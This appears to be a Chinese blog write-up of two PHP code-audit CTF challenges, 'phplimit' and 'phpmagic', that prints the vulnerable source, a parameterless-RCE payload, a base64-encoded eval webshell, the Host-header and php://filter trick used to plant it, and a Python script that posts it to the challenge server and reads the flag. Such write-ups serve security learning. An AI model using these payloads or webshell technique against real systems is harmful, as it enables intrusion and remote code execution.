美文网首页
代码审计知识星球——easy-phplimit&phpmagic

代码审计知识星球——easy-phplimit&phpmagic

作者: byc_404 | 来源:发表于2020-01-16 19:26 被阅读0次

    今天把剩下的两道审计题目过一遍

    phplimit

    <?php
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);
    } else {
        show_source(__FILE__);
    }
    

    实在是令人惊讶,一看到题目就发现居然是自己前几天才整理过的无参RCE。那么上手起来就非常简单。我用的payload

    /?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
    
    flag

    不过还是得解释下这里题目与之前的GXTCTF禁止套娃的不同。此处的flag位置可以通过scandir()得到,只不过要加一次dirname()来查看上机目录

    print_r(scandir(dirname(getcwd())));
    

    而之前的题目,flag.php与index.php在同一目录下,那么这个区别会带来什么问题呢?


    报错

    没错,我们并不能读取文件,因为不在上级目录里,而且也不能使用'../'。
    所以payload里chdir()的作用就是更改目录并返回bool值。所以chdir(dirname(getcwd()))帮我们跳到/var/www/,dirname(chdir(dirname(getcwd())))帮我们回到目录第一个文件'.',再scandir(dirname(chdir(dirname(getcwd()))))就可以列出这一级目录,同时我们也处于这一目录中,可以利用返回的键值readfile了。

    phpmagic

    <?php
    if(isset($_GET['read-source'])) {
        exit(show_source(__FILE__));
    }
    
    define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
    
    if(!is_dir(DATA_DIR)) {
        mkdir(DATA_DIR, 0755, true);
    }
    chdir(DATA_DIR);
    
    $domain = isset($_POST['domain']) ? $_POST['domain'] : '';
    $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
    ?>
    .......
    <?php if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);
    
    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    
    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
      file_put_contents($log_name, $output);
     }
    
                    echo $output;
     ?>
    

    一开始我以为这应该是四道审计里最难的了......因为没有做过类似的题目,总是上来被代码吓到......不过细看的话思路还算清晰,而且命令执行自己也算接触过,不像function的bypass跟函数一开始都不知道......那么先过一遍吧:
    首先上来自己不太理解的是

    define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
    
    

    后来知道这叫沙盒作用户分割就清楚了。加上后面的chdir(),就起到为不同用户创建不同目录并进入这一目录的功效。之后比较清楚:domain与log_name两个变量接受传值,然后有一个shell_exec()命令执行,会拼接上我们传的值。命令执行结果写入文件并打印。

    首先得确认我们的目标:是利用文件留个shell还是直接RCE?这里注意到后面存在的escapeshellarg()和htmlspecialchars()就得权衡一下,直接RCE显然是更加困难的,那么我们就选择第一种写shell的方法。

    方法参考sky师傅:https://skysec.top/2019/03/10/2018-Code-Breaking-4-phpmagic/
    (师傅tql,各种题目手到擒来,文章也非常细致)
    首先是$log_name参数,在写入文件前,有一步
    $log_name = $_SERVER['SERVER_NAME'] . $log_name;那么$_SERVER['SERVER_NAME']是固定的还是可控的呢?答案是可控的。它可以直接由我们的host决定。比如令host=byc,log=.php我们得到的log_name就是byc.php,文件路径的问题就解决了。
    然后当然是黑名单的问题。只有bypass掉以下后缀,才能写入文件。

    ['php', 'php3', 'php4', 'php5', 'phtml', 'pht']
    

    问题是我也只知道这几种后缀......那显然是要利用漏洞了。那么其那面的pathinfo($log_name, PATHINFO_EXTENSION)又是否有漏洞呢?答案也是肯定的。pathinfo只会获取最后一个.后的名称。那么直接index.php.它返回的就是空。
    然而新的问题出现了,那就是我们并不可能访问到index.php.
    此时,我们可以用一个技巧bypass,那就是加上一个/index.php/.就可以写入文件并绕过黑名单(但我还没找到解释这个方法操作的原理,只能把锅扔给apache解析了).
    最后就是写入一句话木马了。为了解决htmlspecialchars()的问题,我们写入的一句话木马最好直接base64编码,然后我们就使用伪协议上传解码就好了。
    可以使用burpsuite,HOST改为php作为log的拼接,domain传我的一句话木马<?php eval($_GET['byc']); ?>

    domain=PD9waHAgZXZhbCgkX0dFVFsnYnljJ10pOyA/PiAg&log=://filter/write=convert.base64-decode/resource=a.php/.
    

    需要注意的是,这里的base64并没出现等号,原因是因为我在自己的一句话木马后面加了几个空格。如果不加的话,base64结果会由等号结束。而这在被htmlspecialchars()滤过后无法起到getshell效果。
    然后我们根据上面提到的沙盒,访问自己的沙盒。因此需要提前知道自己的本机ip,上网有很多网站可直接看,md5下即可

    http://139.199.203.253:8082/data/710d7f25317a9838c611ba34edbc1974/a.php?byc=print_r(scandir(%27.%27));
    

    访问即可确认存在,利用参数一步步拿flag吧
    payload

    http://139.199.203.253:8082/data/710d7f25317a9838c611ba34edbc1974/a.php?byc=readfile(%27../../../flag_phpmag1c_ur1%27);
    

    顺带一提,自己用bp并没有成功传上去(我的bp日常出错......),所以用脚本替代了hh。脚本也贴下面吧:

    import requests
    url = "http://139.199.203.253:8082/"
    headers = {
        'Host':'php'
    }
    data = {
        'domain':"PD9waHAgZXZhbCgkX0dFVFsnYnljJ10pOyA/PiAg",
        'log':"://filter/write=convert.base64-decode/resource=a.php/."
    }
    r = requests.post(url,headers=headers,data=data)
    
    url = url+"/data/710d7f25317a9838c611ba34edbc1974/a.php?byc=readfile('../../../flag_phpmag1c_ur1');"
    
    res = requests.get(url)
    print (res.text)
    

    终于结束了代码审计的easy,不过估计做到medium还要点时间,那就日后再说了。杭电hgame也要开始了,那就先打hgame吧。

    相关文章

      网友评论

          本文标题:代码审计知识星球——easy-phplimit&phpmagic

          本文链接:https://www.haomeiwen.com/subject/cuofzctx.html